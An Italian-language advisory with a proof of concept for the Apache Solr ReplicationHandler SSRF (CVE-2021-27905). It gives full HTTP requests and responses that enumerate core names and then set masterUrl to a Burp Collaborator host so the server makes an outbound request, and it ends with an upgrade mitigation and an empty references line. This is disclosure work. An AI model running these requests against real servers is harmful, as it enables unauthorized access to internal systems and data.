
[CVE-2021-27905] Apache Solr ReplicationHandler Server Side Request Forgery (SSRF)
[CVE-2021-27905] Server Side Request Forgery (SSRF) di Apache Solr ReplicationHandler
Hit Counter
Apache Solr (che sta per Searching On Lucene with Replication) è un motore di ricerca gratuito e open-source basato sulla libreria Apache Lucene. Scritto in Java. Apache Solr dispone di API RESTful XML/HTTP e JSON e librerie client per molti linguaggi di programmazione come Java, Python, Ruby, C#, PHP e molti altri, utilizzate per creare applicazioni di analisi di big data e basate sulla ricerca per siti web, database, file, ecc.
Apache Solr tutte le versioni precedenti alla 8.8.2 (7.0.0 - 7.7.3 e 8.0.0 - 8.8.1) sono vulnerabili a una vulnerabilità di Server Side Request Forgery (SSRF). Lo sfruttamento riuscito di questa vulnerabilità può portare ad azioni non autorizzate o all'accesso ai dati all'interno dell'organizzazione, sia nell'applicazione vulnerabile stessa che su altri sistemi backend con cui l'applicazione può comunicare.
Il ReplicationHandler (normalmente registrato su /replication sotto un core di Solr) ha un parametro masterUrl (anche alias leaderUrl) che viene utilizzato per designare un altro ReplicationHandler su un altro core di Solr per replicare i dati dell'indice nel core locale. Per prevenire una vulnerabilità SSRF, Solr dovrebbe controllare questi parametri rispetto a una configurazione simile a quella utilizzata per il parametro shards. Prima che questa vulnerabilità venisse corretta, non lo faceva.
Prova di concetto (PoC): Per sfruttare questa vulnerabilità, un attaccante deve conoscere il nome del core su Apache Solr. Ecco perché la seguente richiesta può essere utilizzata per determinare il nome/i nomi dei core.
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
{
"responseHeader":
{
"status": 0,
"QTime": 0
},
"initFailures":
{},
"status":
{
"beliana_dev":
{
"name": "beliana_dev",
"instanceDir": "/var/solr/data/beliana_dev",
"dataDir": "/var/solr/data/beliana_dev/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-04-20T13:49:06.569Z",
"uptime": 293226747
},
"beliana_prod":
{
"name": "beliana_prod",
"instanceDir": "/var/solr/data/beliana_prod",
"dataDir": "/var/solr/data/beliana_prod/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
},
"beliana_stage":
{
"name": "beliana_stage",
"instanceDir": "/var/solr/data/beliana_stage",
"dataDir": "/var/solr/data/beliana_stage/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
}
}
}

Dopo aver determinato i nomi dei core, selezionarne uno ed effettuare una richiesta a questo endpoint: /solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<int name="status">0</int>
<int name="QTime">75</int>
</lst>
<str name="status">OK</str>
</response>


Mitigazione: Una qualsiasi delle seguenti è sufficiente per prevenire questa vulnerabilità
8.8.2 o superiore.Riferimenti: